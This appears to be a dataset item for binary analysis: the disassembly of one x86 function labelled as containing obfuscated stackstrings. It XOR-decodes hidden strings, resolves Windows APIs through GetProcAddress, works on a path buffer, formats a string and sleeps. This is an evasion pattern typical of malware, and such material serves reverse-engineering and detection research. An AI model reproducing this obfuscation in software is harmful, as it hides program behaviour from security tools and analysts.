Function at 0x6043d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov eax, dword [0x7e3000]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, 0x4aaa
mov word [ebp - 0x60], ax
mov ecx, 0x4acf
mov word [ebp - 0x5e], cx
mov edx, 0x4abd
mov word [ebp - 0x5c], dx
mov eax, 0x4ad3
mov word [ebp - 0x5a], ax
mov ecx, 0x4ab6
mov word [ebp - 0x58], cx
mov edx, 0x4ada
mov word [ebp - 0x56], dx
mov eax, 0x4ae9
mov word [ebp - 0x54], ax
mov ecx, 0x4adb
mov word [ebp - 0x52], cx
mov edx, 0x4af5
mov word [ebp - 0x50], dx
mov eax, 0x4a91
mov word [ebp - 0x4e], ax
mov ecx, 0x4afd
mov word [ebp - 0x4c], cx
mov edx, 0x4a91
mov word [ebp - 0x4a], dx
mov eax, 0x4a91
mov word [ebp - 0x48], ax
mov dword [ebp - 0x290], 0xc
jmp 0x604473
mov ecx, dword [ebp - 0x290]
sub ecx, 1
mov dword [ebp - 0x290], ecx
cmp dword [ebp - 0x290], 0
jle 0x6044a1
mov edx, dword [ebp - 0x290]
movzx eax, word [ebp + edx*2 - 0x60]
mov ecx, dword [ebp - 0x290]
movzx edx, word [ebp + ecx*2 - 0x62]
xor eax, edx
mov ecx, dword [ebp - 0x290]
mov word [ebp + ecx*2 - 0x60], ax
jmp 0x604464
mov edx, 2
imul eax, edx, 0
movzx ecx, word [ebp + eax - 0x60]
xor ecx, 0x4ae1
mov edx, 2
imul eax, edx, 0
mov word [ebp + eax - 0x60], cx
lea ecx, [ebp - 0x60]
push ecx
call fcn.006089e0
add esp, 4
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 0x20], 0x91
mov byte [ebp - 0x1f], 0xf4
mov byte [ebp - 0x1e], 0x80
mov byte [ebp - 0x1d], 0xd4
mov byte [ebp - 0x1c], 0xb1
mov byte [ebp - 0x1b], 0xdc
mov byte [ebp - 0x1a], 0xac
mov byte [ebp - 0x19], 0xfc
mov byte [ebp - 0x18], 0x9d
mov byte [ebp - 0x17], 0xe9
mov byte [ebp - 0x16], 0x81
mov byte [ebp - 0x15], 0xd6
mov byte [ebp - 0x14], 0xd6
mov dword [ebp - 0x294], 0xc
jmp 0x604522
mov edx, dword [ebp - 0x294]
sub edx, 1
mov dword [ebp - 0x294], edx
cmp dword [ebp - 0x294], 0
jle 0x60454f
mov eax, dword [ebp - 0x294]
movsx ecx, byte [ebp + eax - 0x20]
mov edx, dword [ebp - 0x294]
movsx eax, byte [ebp + edx - 0x21]
xor ecx, eax
mov edx, dword [ebp - 0x294]
mov byte [ebp + edx - 0x20], cl
jmp 0x604513
mov eax, 1
imul ecx, eax, 0
movsx edx, byte [ebp + ecx - 0x20]
xor edx, 0xd6
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x20], dl
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2ac], eax
push 0x208
push 0
lea ecx, [ebp - 0x28c]
push ecx
call fcn.007578b0
add esp, 0xc
lea edx, [ebp - 0x28c]
push edx
push 0x104
call dword [ebp - 0x2ac]
mov eax, 0x4873
mov word [ebp - 0x44], ax
mov ecx, 0x481f
mov word [ebp - 0x42], cx
mov edx, 0x487e
mov word [ebp - 0x40], dx
mov eax, 0x4807
mov word [ebp - 0x3e], ax
mov ecx, 0x4862
mov word [ebp - 0x3c], cx
mov edx, 0x4810
mov word [ebp - 0x3a], dx
mov eax, 0x4810
mov word [ebp - 0x38], ax
mov dword [ebp - 0x298], 6
jmp 0x604607
mov ecx, dword [ebp - 0x298]
sub ecx, 1
mov dword [ebp - 0x298], ecx
cmp dword [ebp - 0x298], 0
jle 0x604635
mov edx, dword [ebp - 0x298]
movzx eax, word [ebp + edx*2 - 0x44]
mov ecx, dword [ebp - 0x298]
movzx edx, word [ebp + ecx*2 - 0x46]
xor eax, edx
mov ecx, dword [ebp - 0x298]
mov word [ebp + ecx*2 - 0x44], ax
jmp 0x6045f8
mov edx, 2
imul eax, edx, 0
movzx ecx, word [ebp + eax - 0x44]
xor ecx, 0x4823
mov edx, 2
imul eax, edx, 0
mov word [ebp + eax - 0x44], cx
mov byte [ebp - 0x10], 0x3e
mov byte [ebp - 0xf], 0x4d
mov byte [ebp - 0xe], 0x39
mov byte [ebp - 0xd], 0x4b
mov byte [ebp - 0xc], 0x28
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x3d
mov byte [ebp - 9], 0x6a
mov byte [ebp - 8], 0x6a
mov dword [ebp - 0x29c], 8
jmp 0x604694
mov ecx, dword [ebp - 0x29c]
sub ecx, 1
mov dword [ebp - 0x29c], ecx
cmp dword [ebp - 0x29c], 0
jle 0x6046c1
mov edx, dword [ebp - 0x29c]
movsx eax, byte [ebp + edx - 0x10]
mov ecx, dword [ebp - 0x29c]
movsx edx, byte [ebp + ecx - 0x11]
xor eax, edx
mov ecx, dword [ebp - 0x29c]
mov byte [ebp + ecx - 0x10], al
jmp 0x604685
mov edx, 1
imul eax, edx, 0
movsx ecx, byte [ebp + eax - 0x10]
xor ecx, 0x52
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x10], cl
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x2a8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2b0], eax
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x28c]
push ecx
call dword [ebp - 0x2b0]
mov byte [ebp - 0x34], 0x2f
mov byte [ebp - 0x33], 0x5d
mov byte [ebp - 0x32], 0x38
mov byte [ebp - 0x31], 0x59
mov byte [ebp - 0x30], 0x2d
mov byte [ebp - 0x2f], 0x48
mov byte [ebp - 0x2e], 0xc
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x17
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x11
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0xa
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 1
mov byte [ebp - 0x25], 0x56
mov byte [ebp - 0x24], 0x56
mov dword [ebp - 0x2a0], 0x10
jmp 0x604764
mov edx, dword [ebp - 0x2a0]
sub edx, 1
mov dword [ebp - 0x2a0], edx
cmp dword [ebp - 0x2a0], 0
jle 0x604791
mov eax, dword [ebp - 0x2a0]
movsx ecx, byte [ebp + eax - 0x34]
mov edx, dword [ebp - 0x2a0]
movsx eax, byte [ebp + edx - 0x35]
xor ecx, eax
mov edx, dword [ebp - 0x2a0]
mov byte [ebp + edx - 0x34], cl
jmp 0x604755
mov eax, 1
imul ecx, eax, 0
movsx edx, byte [ebp + ecx - 0x34]
xor edx, 0x6c
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x34], dl
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2b4], eax
push 0
lea ecx, [ebp - 0x28c]
push ecx
call dword [ebp - 0x2b4]
mov dword [ebp - 0x2b8], eax
mov edx, 0x67d4
mov word [ebp - 0x84], dx
mov eax, 0x67b8
mov word [ebp - 0x82], ax
mov ecx, 0x67d9
mov word [ebp - 0x80], cx
mov edx, 0x67a0
mov word [ebp - 0x7e], dx
mov eax, 0x67c5
mov word [ebp - 0x7c], ax
mov ecx, 0x67b7
mov word [ebp - 0x7a], cx
mov edx, 0x67eb
mov word [ebp - 0x78], dx
mov eax, 0x67b9
mov word [ebp - 0x76], ax
mov ecx, 0x67e9
mov word [ebp - 0x74], cx
mov edx, 0x67a1
mov word [ebp - 0x72], dx
mov eax, 0x67ce
mov word [ebp - 0x70], ax
mov ecx, 0x67bd
mov word [ebp - 0x6e], cx
mov edx, 0x67c9
mov word [ebp - 0x6c], dx
mov eax, 0x67e7
mov word [ebp - 0x6a], ax
mov ecx, 0x6783
mov word [ebp - 0x68], cx
mov edx, 0x67ef
mov word [ebp - 0x66], dx
mov eax, 0x6783
mov word [ebp - 0x64], ax
mov ecx, 0x6783
mov word [ebp - 0x62], cx
mov dword [ebp - 0x2a4], 0x11
jmp 0x60489c
mov edx, dword [ebp - 0x2a4]
sub edx, 1
mov dword [ebp - 0x2a4], edx
cmp dword [ebp - 0x2a4], 0
jle 0x6048d3
mov eax, dword [ebp - 0x2a4]
movzx ecx, word [ebp + eax*2 - 0x84]
mov edx, dword [ebp - 0x2a4]
movzx eax, word [ebp + edx*2 - 0x86]
xor ecx, eax
mov edx, dword [ebp - 0x2a4]
mov word [ebp + edx*2 - 0x84], cx
jmp 0x60488d
mov eax, 2
imul ecx, eax, 0
movzx edx, word [ebp + ecx - 0x84]
xor edx, 0x6784
mov eax, 2
imul ecx, eax, 0
mov word [ebp + ecx - 0x84], dx
mov edx, dword [0x7e3ad8]
push edx
push 0x4c6c90
lea eax, [ebp - 0x84]
push eax
call fcn.00605340
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00755942
mov esp, ebp
pop ebp
ret